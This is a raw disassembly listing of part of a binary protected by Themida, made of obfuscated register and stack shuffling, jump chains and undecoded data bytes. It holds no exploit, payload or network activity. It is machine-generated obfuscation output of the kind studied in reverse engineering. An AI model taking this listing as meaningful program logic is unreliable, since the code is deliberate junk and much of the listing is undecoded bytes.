dd 0E9240489h, 0FFFF512Fh, 5C24048Fh, 4C781h, 0C7810000h
dd 2, 31243C33h, 3C33243Ch, 0F7665C24h, 5F13E9E9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56D3DE: ; CODE XREF: Themida_:00563805j
push ecx
mov ecx, 3DEE7F4Eh
jmp loc_5647DF
; ---------------------------------------------------------------------------
db 0B9h, 53h, 43h
dd 0CD297B6Fh, 69EAE959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56D3F6: ; CODE XREF: Themida_:00563E4Ej
xchg edx, [esp]
jmp loc_563FFA
; ---------------------------------------------------------------------------
loc_56D3FE: ; CODE XREF: Themida_:0056C736j
push esi
pop edx
mov esi, [esp]
add esp, 4
add edx, 31CF605Eh
add edx, esi
sub edx, 31CF605Eh
pop esi
jmp loc_566B6C
; ---------------------------------------------------------------------------
loc_56D41D: ; CODE XREF: Themida_:00564169j
mov edi, 3E10737Ch
add ecx, edi
pop edi
add ecx, eax
sub ecx, 3E10737Ch
jmp loc_569DEB
; ---------------------------------------------------------------------------
dw 0B60Fh
aHo@ db 'ÈhŽ@',0
align 2
dw 0A4E9h
db 12h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56D43F: ; CODE XREF: Themida_:0057675Cj
push esp
pop ebx
jmp loc_57406B
; ---------------------------------------------------------------------------
dw 481h
dd 424h, 2685A00h, 89000053h, 0B8502434h, 79796309h, 0E99C0EBEh
dd 58C629E6h, 7AE9EE31h
db 53h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56D46B: ; CODE XREF: Themida_:0056D8FFj
jmp loc_570607
; ---------------------------------------------------------------------------
dd 8B243C87h, 4892424h, 776DE924h, 8EBF0000h, 1A3D437h
dd 0FD315DEFh, 68243C8Bh, 3914h, 89243489h, 4C681E6h, 0E9000000h
dd 0FFFFAC53h, 24048B66h, 0E902C483h, 0FFFFFE5Ah, 79EEBE56h
dd 0CE816D71h, 0BFE0452h, 8106EEC1h, 942ED3C6h, 5EF02919h
dd 60BEE9h, 0E8305A00h, 240C8B66h, 3002C483h, 0C0B60FC3h
dd 0E987048Fh, 0FFFF9A34h
; ---------------------------------------------------------------------------
loc_56D4E0: ; CODE XREF: Themida_:005685ABj
pop dword ptr [esp]
push ebp
jmp loc_5741F1
; ---------------------------------------------------------------------------
loc_56D4E9: ; CODE XREF: Themida_:00571016j
pop ebp
or ebx, 20CD22F6h
add ebx, 5A224403h
jmp loc_5731A9
; ---------------------------------------------------------------------------
db 89h
dd 4BE2434h, 0E9000000h, 0FFFFF660h, 48E9C301h
db 49h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56D50F: ; CODE XREF: Themida_:0056E9B7j
add esp, 4
jmp loc_561042
; ---------------------------------------------------------------------------
dw 8150h
dd 177A242Ch, 18F434Ah, 177A0181h, 0C8B434Ah, 0E1895124h
dd 4C181h, 0C1810000h, 4, 5C240C87h, 582434FFh, 54A668h
dd 0E6A4E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56D54E: ; CODE XREF: Themida_:00564CA2j
mov esi, [esp]
sub esp, 4
mov [esp], edx
jmp loc_56F6AA
; ---------------------------------------------------------------------------
dd 5966EB28h, 0FE8BB450h, 5B2AE9C4h, 0C89FFFFh, 52066824h
dd 5359600Eh, 975EC5BBh, 7D196815h, 14890000h, 53B0E924h
dd 0B050FFFFh, 2C340C96h, 2C6804B8h, 7E8C064h, 0FFC6F3E9h
dd 2434FFFFh, 68242C8Bh, 5A45h, 0FFF51AE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56D5A9: ; CODE XREF: Themida_:00575A22j
add edi, 124115C6h
push 3A57h
mov [esp], ebx
mov ebx, 2E2D3C86h
xor edi, ebx
pop ebx
xor edi, 0CFC25ACFh
add esi, edi
pop edi
dec esi
xor esi, 28C81DF4h
add edx, esi
pop esi
add edx, 4
push edx
jmp loc_566D8D
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24248904h, 0FFAB65E9h, 5AE95AFFh, 55000026h, 0DE2D8368h
dd 242C8B4Ch, 0E904C483h, 6BEh, 2DD8F759h, 8B0CC94Bh, 48BC631h
dd 4C48124h, 89000000h, 5F095EF3h, 0EAC4E91Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56D61E: ; CODE XREF: Themida_:00571BB5j
push ebx
mov ebx, esp
jmp loc_570496
; ---------------------------------------------------------------------------
loc_56D626: ; CODE XREF: Themida_:0056E1AEj
inc edi
or edi, 5BDA34E7h
add edi, 733EAA2h
mov ebx, edi
jmp loc_56AD95
; ---------------------------------------------------------------------------
dw 0E9C1h
dd 4EC8302h, 89242C89h, 0FB7DE9E5h, 0C689FFFFh, 0C3B85058h
dd 2964336Bh, 6CA2E9C6h, 0E95C0000h, 0FFFFE816h, 0A5068h
dd 24348900h, 0F7F2E951h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56D66E: ; CODE XREF: Themida_:005725DBj
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
push 5BAFh
mov [esp], eax
push esp
pop eax
push esi
mov esi, esp
jmp loc_571C0A
; ---------------------------------------------------------------------------
dw 0D089h
dd 0FF5B61E9h, 0E68956FFh, 4C681h, 0EE830000h, 24348704h
dd 2404895Ch, 0FF39EDE9h, 0F0015FFFh, 8124348Bh, 4C4h
dd 4EC8100h, 89000000h, 74FF2404h, 8F580424h, 1CE92404h
dd 8B00004Ah, 0C483240Ch, 246C0104h, 48B5D04h, 4C48124h
dd 53000000h, 0FF917DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56D6FD: ; CODE XREF: Themida_:0057493Dj
mov esi, 7AE52941h
dec esi
xor esi, 4F4F70F4h
not esi
add esi, 35AA59B9h
add eax, esi
pop esi
add eax, 4
xchg eax, [esp]
mov esp, [esp]
xor eax, ecx
xor ecx, eax
xor eax, ecx
sub esp, 4
mov [esp], ebx
push 983h
mov [esp], edi
push 1
pop edi
push 680Eh
mov [esp], edi
pop ebx
pop edi
and eax, ebx
push dword ptr [esp]
mov ebx, [esp]
jmp loc_562B16
; ---------------------------------------------------------------------------
db 68h
dd 4342799Dh, 8EF18159h, 0C1407F5Fh, 0E18108E9h, 5A6F7682h
dd 5E5E981h, 0CB89BDD3h, 60F00559h, 0D801046Ch, 6C60F02Dh
dd 0A03E904h, 0E9570000h, 190Dh, 75368505h, 253C2D55h
dd 0ABE95AD1h, 8B000031h, 0B6682404h, 8900006Ch, 5A542414h
dd 40568h, 243C8900h, 210868h, 24048900h, 915EA2B8h, 7014E95Ah
dd 0BF57FFFFh, 31A0727Eh, 6BA0E9h
db 0
; ---------------------------------------------------------------------------
loc_56D7C9: ; CODE XREF: Themida_:0056BC72j
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_572CC8
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 0C87BB53h, 8BBD604Ah, 29604A0Ch, 44815BDDh, 0AFC0424h
dd 44813932h, 1C1A0424h, 5BE9608Ah, 88000039h, 6010E9CFh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56D80E: ; CODE XREF: Themida_:0056425Bj
mov esi, [esp]
push eax
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push eax
mov eax, 0A71799Ah
xor eax, 54EC6A35h
neg eax
add eax, 90B92FBEh
add esi, eax
jmp loc_56FA1C
; ---------------------------------------------------------------------------
db 80h, 0E1h, 0F8h
dd 0E980D1F6h, 0F0C980EDh, 8001E980h, 0CC2896E9h, 592434FFh
dd 0E904C483h, 620Ch, 345D74BEh, 5EF12934h, 0FF4D55E9h
dd 4EC83FFh, 56241489h, 7D023FBEh, 5EF2892Bh, 558B6851h
dd 0E959244Ch, 0E6h, 24048B66h, 4EC81h, 2C890000h, 815D5424h
dd 4C5h, 7AE95300h, 68000000h, 6DA7h, 0E9241C89h, 0FFFFDA83h
dd 5504C483h, 596DBE56h, 90E90FA9h
db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56D8B7: ; CODE XREF: Themida_:00570F34j
pop esi
add edx, edi
jmp loc_56BAFC
; ---------------------------------------------------------------------------
db 8Bh
dd 8950240Ch, 0F0B951E0h, 0E9690A42h, 0FFFFD241h
; ---------------------------------------------------------------------------
loc_56D8D0: ; CODE XREF: Themida_:00571CAFj
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
xor ebx, 7A385FA1h
and eax, ebx
jmp loc_57310D
; ---------------------------------------------------------------------------
loc_56D8F6: ; CODE XREF: Themida_:00574879j
add esp, 4
add esp, 4
jmp loc_56D46B
; ---------------------------------------------------------------------------
dd 3EE7F381h, 0C3812D5Bh, 32A76214h, 0FFA660E9h, 0B951FFh
dd 8112044Fh, 0D4C38E9h, 885EE916h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56D926: ; CODE XREF: Themida_:00576337j
xchg edi, [esp]
pop esp
push edx
mov edx, 1B320405h
sub ecx, edx
jmp loc_56F831
; ---------------------------------------------------------------------------
loc_56D937: ; CODE XREF: Themida_:005742F7j
pop esi
sub eax, edi
mov edi, [esp]
jmp loc_5762F7
; ---------------------------------------------------------------------------
dw 0F681h
dd 76BF7916h, 0FEE95D56h
db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56D94F: ; CODE XREF: Themida_:00567527j
pop esp
jmp loc_568435
; ---------------------------------------------------------------------------
loc_56D955: ; CODE XREF: Themida_:0056DF3Dj
mov ebx, 445A1C3Fh
sub ebx, 0FFFFFFFFh
dec ebx
jmp loc_5647C4
; ---------------------------------------------------------------------------
dw 0CA29h
dd 0FF86E3E9h, 5F801FFh, 50934CA8h, 629FE95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56D97A: ; CODE XREF: Themida_:0056A41Fj
pop eax
xchg ebx, [esp]
pop esp
add esp, 4
sub esp, 4
mov [esp], ebp
push ebx
mov ebx, 0F448C3h
sub [esp+4], ebx
pop ebx
jmp loc_5685B0
; ---------------------------------------------------------------------------
dd 0B9240C89h, 71022DF6h, 99BD5541h, 0F71DB34Fh, 0B559E9D5h
dd 77FFFFFFh, 59669D1Ch, 241CD366h, 3684E99Ch, 0D701FFFFh
dd 32F7685Ah, 14E90000h, 0F7FFFFA5h, 7BBA52DFh, 0E9251275h
dd 2153h
; ---------------------------------------------------------------------------
loc_56D9D8: ; CODE XREF: Themida_:00572228j
neg edi
xchg edi, esi
add esi, 311C0651h
jmp loc_56F0B4
; ---------------------------------------------------------------------------
db 81h
dd 0D6AD3EEEh, 0C0E9522Fh, 80FFFF90h, 48B53C3h, 0E0895024h
dd 12DAE9h, 74E95900h, 87000078h, 248B242Ch, 24348924h
dd 0EE7F7CBEh, 5D20E949h, 574FFFFFh, 0FF2404FFh, 815F2434h
dd 4C4h, 1EF8100h, 0E97A641Ah, 0FFFF68AFh, 0D7BEE981h
dd 0CF29FE1Fh, 5FE5E959h, 50660000h, 6229E99Ch, 1433FFFFh
dd 24143124h, 5C241433h, 2768F1F7h, 89000044h, 9C502414h
dd 0FF35DDE9h, 243C89FFh, 371A38BFh, 30CF8114h, 5225997Fh
dd 0FFA888E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56DA79: ; CODE XREF: Themida_:00563205j
mov esp, [esp]
mov esi, [esp]
add esp, 4
push 5A51h
mov [esp], edi
push esi
push 62FC2B25h
push dword ptr [esp]
pop esi
jmp loc_56D036
; ---------------------------------------------------------------------------
dd 61CCBF57h, 0EF810CA7h, 0D0530621h, 0FFE494E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56DAAD: ; CODE XREF: Themida_:0056F2CBj
mov ebx, 56B721E2h
add ebx, 27901BBFh
jmp loc_5687C1
; ---------------------------------------------------------------------------
db 8Bh, 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5650D8
; ---------------------------------------------------------------------------
dw 483h
dd 815E0424h, 4C6h, 7150E900h, 0E954FFFFh, 597h, 1870E958h
dd 0DD290000h, 83241C8Bh, 0A2E904C4h, 81000088h, 4C4h
dd 24048B00h, 4C481h, 0F7810000h, 31EC335Ah, 625F781h
dd 52E917A3h, 54FFFFA0h, 81241C8Bh, 4C4h, 4EC8100h, 89000000h
dd 78BE2434h, 57429B68h, 43297EBFh, 8E7C12Fh, 0E9D7F74Fh
dd 24A0h, 5324348Bh, 0C381E389h, 4, 0FFF179E9h, 1C77FFFFh
dd 1058669Dh, 0E99C2404h, 0FFFF7F89h, 6ECCBB53h, 5C0146B7h
dd 8B5B0824h, 18E9240Ch, 5FFFF74h, 223C7E0Ah, 21E2BA52h
dd 0D02930E6h, 241C8B5Ah, 8304C483h, 348904ECh, 3685BE24h
dd 15E95575h, 31FFFF4Eh, 0FD015BDFh, 83243C8Bh, 57E904C4h
dd 66000085h, 0D8005959h, 1C8B4404h, 4C48324h, 3C6E68h
dd 241C8900h, 6852F9B3h, 3F85h, 51240489h, 0CC8807B1h
dd 0FF99C5E9h, 240489FFh, 60D2BA52h, 98E92253h, 5D00004Dh
dd 0FFE5E981h, 0C829DA07h, 592434FFh, 86868h, 6118E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56DBF6: ; CODE XREF: Themida_:0056E40Aj
push esi
mov esi, esp
add esi, 4
jmp loc_56B55C
; ---------------------------------------------------------------------------
loc_56DC04: ; CODE XREF: Themida_:00565896j
add edi, 27FC3733h
pop ebp
jmp loc_56E4EA
; ---------------------------------------------------------------------------
dd 97AB951h, 7EBE1F44h, 0E91F4409h, 0FFFF4059h, 0BB5171B8h
dd 5175BF79h, 5E979BBh
db 1Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56DC2F: ; CODE XREF: Themida_:0056E5B8j
push edi
mov edi, 5E4F7F95h
sub edi, 5E4F7F91h
add edx, edi
pop edi
add edx, 4
push 5D40h
jmp loc_57562B
; ---------------------------------------------------------------------------
db 50h
dd 88BFB353h, 0AEE95BDCh, 89FFFFF3h, 4C581E5h, 81000000h
dd 4C5h, 242C3300h, 33242C31h, 248B242Ch, 335E6824h, 0CDE90000h
dd 5100006Eh, 3DA268h, 2C5EE900h, 0C4810000h, 4, 0DB568h
dd 241C8900h, 526646B7h, 77B55166h, 5966EA88h, 5A66D708h
dd 0B252C7FEh, 0D6F280D2h, 44EF80h, 44C780D7h, 0CCF7805Ah
dd 12AEE951h, 0ED810000h, 0BFE1763h, 0E957DDF7h, 49C6h
dd 7EE9E589h
db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56DCD3: ; CODE XREF: Themida_:0056F484j
add eax, ebx
push 479Ah
mov [esp], ebx
jmp loc_56F23D
; ---------------------------------------------------------------------------
dw 0F755h
dd 875D2414h, 35F681EEh, 12AEB67h, 1C875EF3h, 6FE95C24h
dd 2DFFFFDBh, 4, 2474FF50h, 48F5804h, 0C895C24h, 2474FF24h
dd 2434FF04h, 81240C8Bh, 4C4h, 15336800h, 0B4E90000h
db 68h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56DD27: ; CODE XREF: Themida_:0056DEABj
add ah, 0BCh
sub ah, bl
sub ah, 0BCh
pop ebx
push 601Ch
mov [esp], ebx
mov bh, ah
jmp loc_57649B
; ---------------------------------------------------------------------------
db 49h
dd 27E18141h, 415B7C4Ch, 0FFFCE7E9h, 0E9D101FFh, 0FFFF4DB0h
dd 0BA52E389h, 73C2538Dh, 0F281E2D1h, 0E784A71Eh, 0FF6689E9h
dd 5AD331FFh, 0FFF73BE9h, 4C181FFh, 81000000h, 4C1h, 240C8700h
dd 0AAC6815Ch, 0E92D0549h, 0FFFF55AFh, 1C281h, 6FE90000h
dd 81FFFF5Ch, 60742CCBh, 4EC813Ch, 89000000h, 7DBA2414h
dd 4200C33Dh, 4DCA814Ah, 42541E12h, 0D725EA81h, 0C8E9E3C7h
dd 66FFFFB6h, 66626B68h, 68241489h, 16CFh, 68240C89h, 45ADh
dd 0E9241489h, 0FFFFE742h
; ---------------------------------------------------------------------------
loc_56DDDC: ; CODE XREF: Themida_:0057692Fj
push ecx
jmp loc_5735AF
; ---------------------------------------------------------------------------
loc_56DDE2: ; CODE XREF: Themida_:00571423j
add edi, 4
xchg edi, [esp]
pop esp
push edi
jmp loc_570D01
; ---------------------------------------------------------------------------
db 89h
dd 4BD55E6h, 1000000h, 0BF575DEEh, 4, 41E9FE29h, 8100002Bh
dd 4C7h, 3C246800h, 34890000h, 0E9575324h, 30CFh
; ---------------------------------------------------------------------------
loc_56DE1C: ; CODE XREF: Themida_:005763ACj
add ecx, 1DF87118h
add ecx, ebp
sub ecx, 1DF87118h
pop ebp
add ebx, ecx
pop ecx
add ebx, 1
jmp loc_569AB7
; ---------------------------------------------------------------------------
dw 1C8Bh
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_56707F
; ---------------------------------------------------------------------------
loc_56DE4A: ; CODE XREF: Themida_:0056836Cj
push esp
pop esi
jmp loc_56643D
; ---------------------------------------------------------------------------
loc_56DE51: ; CODE XREF: Themida_:0056C519j
mov ebx, [esp]
add esp, 4
push 71FEh
mov [esp], ebp
push 10h
mov ebp, [esp]
jmp loc_569906
; ---------------------------------------------------------------------------
loc_56DE6F: ; CODE XREF: Themida_:00561F71j
push 1676h
mov [esp], eax
mov eax, 4B65724h
sub esi, 0ADE3B1Eh
push ecx
mov ecx, 4F50405h
inc ecx
shr ecx, 2
jmp loc_57538E
; ---------------------------------------------------------------------------
db 20h, 0F0h, 0E9h
dd 0FFFF5F8Fh, 315FF989h, 240C8BC8h, 0E904C483h, 0FFFFD362h
; ---------------------------------------------------------------------------
loc_56DEA8: ; CODE XREF: Themida_:00564C4Ej
add bl, 0EBh
jmp loc_56DD27
; ---------------------------------------------------------------------------
loc_56DEB0: ; CODE XREF: Themida_:00564FEBj
mov [esp], ebx
mov ebx, 54E50A99h
jmp loc_570217
; ---------------------------------------------------------------------------
loc_56DEBD: ; CODE XREF: Themida_:0056ABE5j
add ebx, 411D5B23h
push esi
mov esi, 768D7F8Dh
jmp loc_5689EE
; ---------------------------------------------------------------------------
dw 8150h
dd 1D0F242Ch, 815A14B9h, 0B91D0FC2h, 24048B14h, 4C481h
dd 0BF570000h, 11A95E97h, 15FFA01h, 3389E9C2h, 0EF810000h
dd 0ECD52329h, 875FF801h, 5C2404h, 0E99C2404h, 0FFFF3136h
dd 0F681E6D1h, 1080250h, 835EF301h, 1C3304C3h, 818AE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56DF22: ; CODE XREF: Themida_:0056C9F6j
pop ebp
add ebx, 2A593514h
add ebx, eax
push 16B2h
mov [esp], edx
push esi
mov esi, 7CA94EBAh
not esi
push edx
push ebx
jmp loc_56D955
; ---------------------------------------------------------------------------
loc_56DF42: ; CODE XREF: Themida_:0057564Dj
add dword ptr [esp+4], 160B32DDh
jmp loc_56ACAA
; ---------------------------------------------------------------------------
db 89h
dd 88532414h, 5BFA88EFh, 4EC81h, 0C890000h, 0D4885024h
dd 48BE188h, 4C48324h, 2EEEE9h, 241C8B00h, 81E38953h, 4C3h
dd 4C38100h, 87000000h, 2EE9241Ch, 83FFFF9Bh, 0C8904ECh
dd 6E74B924h, 0CF3168F2h, 0DF314759h, 0DF31FB31h, 503DE9h
db 0
; ---------------------------------------------------------------------------
loc_56DFA5: ; CODE XREF: Themida_:00575F4Bj
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push 3585h
mov [esp], ebp
push 3200h
mov [esp], edx
jmp loc_565413
; ---------------------------------------------------------------------------
db 68h, 50h, 10h
dd 97E90000h
db 6Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56DFD7: ; CODE XREF: Themida_:00566D12j
mov [esp], edx
mov dl, al
push ebx
mov bl, dl
mov cl, bl
pop ebx
pop edx
push ebx
push edx
sub esp, 4
jmp loc_568085
; ---------------------------------------------------------------------------
db 81h, 0E9h, 0F6h
aOsR db ']šOé!R',0
align 4
loc_56DFF8: ; CODE XREF: Themida_:00571C7Cj
pop eax
jmp loc_564C75
; ---------------------------------------------------------------------------
loc_56DFFE: ; CODE XREF: Themida_:00573BA4j
mov edi, 25B25B1Ah
sub edi, 25B2531Ah
push edi
push edi
mov edi, 40BE41FDh
xor [esp+4], edi
pop edi
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
xor ebx, 40BE41FDh
mov edi, [esp]
add esp, 4
and ecx, ebx
push dword ptr [esp]
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_574A30
; ---------------------------------------------------------------------------
db 52h, 0BAh, 4
dd 89000000h, 24148BD7h, 4C481h, 0FD010000h, 0FF93B5E9h
dd 2474FFFFh, 0F068E904h, 895DFFFFh, 240C8BC8h, 4C481h
dd 7CE90000h, 8BFFFF6Dh, 0C481242Ch, 4, 0FFE10AE9h, 0E9F001FFh
dd 1341h, 15BDA89h, 3FA6E9C2h, 942D0000h, 31A4F167h, 2434FFC1h
dd 0E2A0E958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56E0AA: ; CODE XREF: Themida_:00562916j
push esi
mov esi, 2D765F75h
add [esp+8], esi
pop esi
add [esp+4], esi
push edi
push eax
mov eax, 43871F7Ch
jmp loc_5659E7
; ---------------------------------------------------------------------------
loc_56E0C5: ; CODE XREF: Themida_:0056CA0Ej
sub esp, 4
mov [esp], edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ecx
push 77B4h
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push 5FA9h
mov [esp], esi
mov esi, 5B7B4105h
sub esi, 372051C7h
inc esi
xor esi, 61230C3Bh
and esi, 8281316h
shl esi, 3
sub esi, 0CB5AFEDCh
push edx
mov edx, 696E5CACh
add esi, edx
pop edx
jmp loc_572C70
; ---------------------------------------------------------------------------
db 55h
dd 0B96FB3BDh, 0C875522h, 31D1F724h, 0C33240Ch, 240C3124h
dd 0FFED815Dh, 87FFFFFFh, 87D7F7FDh, 0BFBB53FDh, 0E949C316h
dd 2EAAh, 0F632B753h, 7DCF80DFh, 8071CF80h, 0B252B9E7h
dd 39AEE9DAh, 0EC810000h, 2, 241C8966h, 0D800D9B3h, 0FF87E7E9h
dd 4EC83FFh, 0FF4A15E9h, 241C8BFFh, 4C481h, 525A0000h
dd 39F4E953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56E196: ; CODE XREF: Themida_:0056AAE8j
push edi
mov edi, 39144BEBh
add edi, 13E00F0Dh
xor edi, 37022022h
and edi, 4474076Eh
jmp loc_56D626
; ---------------------------------------------------------------------------
db 81h
dd 0B60384E7h, 4CBE565Fh, 87253357h, 0E9D1F7CEh, 0FFFF767Ah
; ---------------------------------------------------------------------------
loc_56E1C8: ; CODE XREF: Themida_:00576995j
push 3B1Eh
mov [esp], ebx
mov ebx, 6CDE43C8h
mov esi, ebx
pop ebx
add esi, 7880438Dh
sub esi, eax
jmp loc_573664
; ---------------------------------------------------------------------------
db 56h, 0BEh, 4Dh
dd 5120AD03h, 1564B850h, 710D2C73h, 2D079C59h, 543E4041h
dd 382FE955h, 8B660000h, 0EC83240Ch, 117E904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56E20E: ; CODE XREF: Themida_:0056354Ej
pop eax
sub al, 65h
jmp loc_572015
; ---------------------------------------------------------------------------
dw 0F780h
dd 0B7B353D3h, 282BB652h, 24148BF3h, 6913E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56E22A: ; CODE XREF: Themida_:005769CBj
pop eax
push dword ptr [esp]
pop ebx
add esp, 4
add ebx, 4
push edi
mov edi, 4
push edx
mov edx, 7BE00D59h
add edx, 1
push ebx
mov ebx, 35737465h
jmp loc_56CE78
; ---------------------------------------------------------------------------
loc_56E255: ; CODE XREF: Themida_:005623DCj
not ebx
jmp loc_566BCA
; ---------------------------------------------------------------------------
dd 24E18141h, 81196905h, 0BF0004C1h, 34C2E9F7h, 0E8000000h
dd 0FFF932E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56E275: ; CODE XREF: Themida_:0056A15Aj
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ax
jmp loc_561042
; ---------------------------------------------------------------------------
dd 24048B66h, 11CE68h, 24148900h, 5E08950h, 4, 8704E883h
dd 895C2404h, 8BE92424h, 68FFFFF1h, 6604h, 81242489h, 42404h
dd 525B0000h, 0FFA84EE9h, 4C783FFh, 8B243C87h, 4292424h
dd 5FE99C24h
db 2Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56E2E3: ; CODE XREF: Themida_:00562AC7j
sub esp, 4
jmp loc_571819
; ---------------------------------------------------------------------------
db 68h
dd 266h, 0E9240C89h, 3989h, 89242C89h, 4C581E5h, 0E9000000h
dd 0FFFFE121h, 3DAFBA52h, 0D6316CFDh, 8124148Bh, 4C4h
dd 1CF75600h, 24348B24h, 0FF518BE9h, 241C89FFh, 0EC83E389h
dd 242C8904h, 563FBA52h, 814A42B1h, 1F594EEAh, 6E2C127h
dd 0BB53D2F7h, 7A85BB6h, 7D2FE943h, 0B468FFFFh, 89000057h
dd 12E9242Ch, 5EFFFF7Fh, 4C481h, 0C6810000h, 4, 6804C683h
dd 17D1h, 0E9243489h, 0FFFFB39Fh, 967FEB81h, 0DF89D5AAh
dd 0CACF815Bh, 0E974715Eh, 32D0h, 4C481h, 0BA520000h, 0D3932C8h
dd 0F281E2D1h, 1A726594h, 148BD101h, 0C557E924h, 0C381FFFFh
dd 4, 5EABE56h, 0E6C13827h, 7EEC105h, 4886E681h, 0E6812429h
dd 3F2435E7h, 522BEE81h, 0C681545Fh, 545F522Dh, 4964E9h
dd 71E95000h, 5B00001Fh, 0D26FE95Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56E3E6: ; CODE XREF: Themida_:00575000j
sub ebx, 6D3304B6h
pop edx
jmp loc_56415D
; ---------------------------------------------------------------------------
loc_56E3F2: ; CODE XREF: Themida_:0056EB96j
mov esi, 2
sub ebx, esi
pop esi
xchg ebx, [esp]
pop esp
mov [esp], cx
mov cl, 2Bh
add bl, cl
mov cx, [esp]
jmp loc_56DBF6
; ---------------------------------------------------------------------------
db 68h
dd 5E052B8Ch, 7EDC15Dh, 0E905E5C1h, 0FFFFD5D9h
; ---------------------------------------------------------------------------
loc_56E420: ; CODE XREF: Themida_:0056A190j
mov ecx, 2CCD1393h
jmp loc_571DD9
; ---------------------------------------------------------------------------
dw 3166h
dd 87E9243Ch, 89FFFFE8h, 4C281E2h, 83000000h, 8AE904EAh
dd 8900002Bh, 9D68242Ch, 5D3A0D34h, 2BAEED81h, 0E8310EA9h
dd 83242C8Bh, 3BE904C4h, 87FFFFFCh, 248B243Ch, 240C8924h
dd 4025E9h, 240C8900h, 0E7B55153h, 0C3804EB3h, 0E9EB2893h
dd 0FFFF2EC0h, 0E9242489h, 25BFh, 81241C8Bh, 4C4h, 4E88300h
dd 8B240487h, 3C892424h, 0A3E3E924h, 0F581FFFFh, 0CA63F232h
dd 0E95DE889h, 501Eh
; ---------------------------------------------------------------------------
loc_56E4B0: ; CODE XREF: Themida_:00571E42j
add edx, 4771591Ch
add edx, 19D12A08h
jmp loc_56AB96
; ---------------------------------------------------------------------------
loc_56E4C1: ; CODE XREF: Themida_:005668CEj
pop eax
sub esp, 4
mov [esp], ebp
mov ebp, 4
sub ecx, 78693CDBh
add ecx, ebp
add ecx, 78693CDBh
pop ebp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
jmp loc_56713D
; ---------------------------------------------------------------------------
loc_56E4EA: ; CODE XREF: Themida_:0056DC0Bj
and edi, 61D25434h
push eax
mov eax, 9731CBFDh
add edi, 3A4143C8h
add edi, eax
sub edi, 3A4143C8h
pop eax
add esi, edi
mov edi, [esp]
add esp, 4
push 1D9Fh
mov [esp], ebp
mov ebp, esi
push ebp
add dword ptr [esp], 220D2A19h
pop edx
jmp loc_5641DD
; ---------------------------------------------------------------------------
dd 4C481h, 16680000h, 0E9000053h, 0FFFF81C7h
; ---------------------------------------------------------------------------
loc_56E538: ; CODE XREF: Themida_:00563FB5j
mov [esp], edx
jmp loc_5667DB
; ---------------------------------------------------------------------------
dd 0FB065805h, 58C1012Ch, 5159CF21h, 0CF2A44B9h, 0E9CF0922h
dd 0FFFF5431h, 5625302Dh, 592D480Ch, 29890AA9h, 24048BC5h
dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 6D48ED81h, 0E9295D21h
dd 81242C8Bh, 4C4h, 23C18100h, 5B43E612h, 2E9C831h, 0ACFFFFE3h
dd 0FF7350E9h, 61E95DFFh, 87000068h, 665C2404h, 9C243CD3h
dd 0FF2A91E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56E5B1: ; CODE XREF: Themida_:005768EEj
pop edx
add esp, 4
jmp loc_56DC2F
; ---------------------------------------------------------------------------
db 81h, 0EEh, 3Ah
dd 1F1A5B3h, 0BB535EF2h, 36E952ABh, 6C7FF381h, 0EB810E6Fh
dd 1D5F373Bh, 5BECE951h, 0D1BFFFFFh, 836B8678h, 0C5E904ECh
dd 1000002h, 2434FFFAh, 0FFDD91E9h, 4C083FFh, 0E9240487h
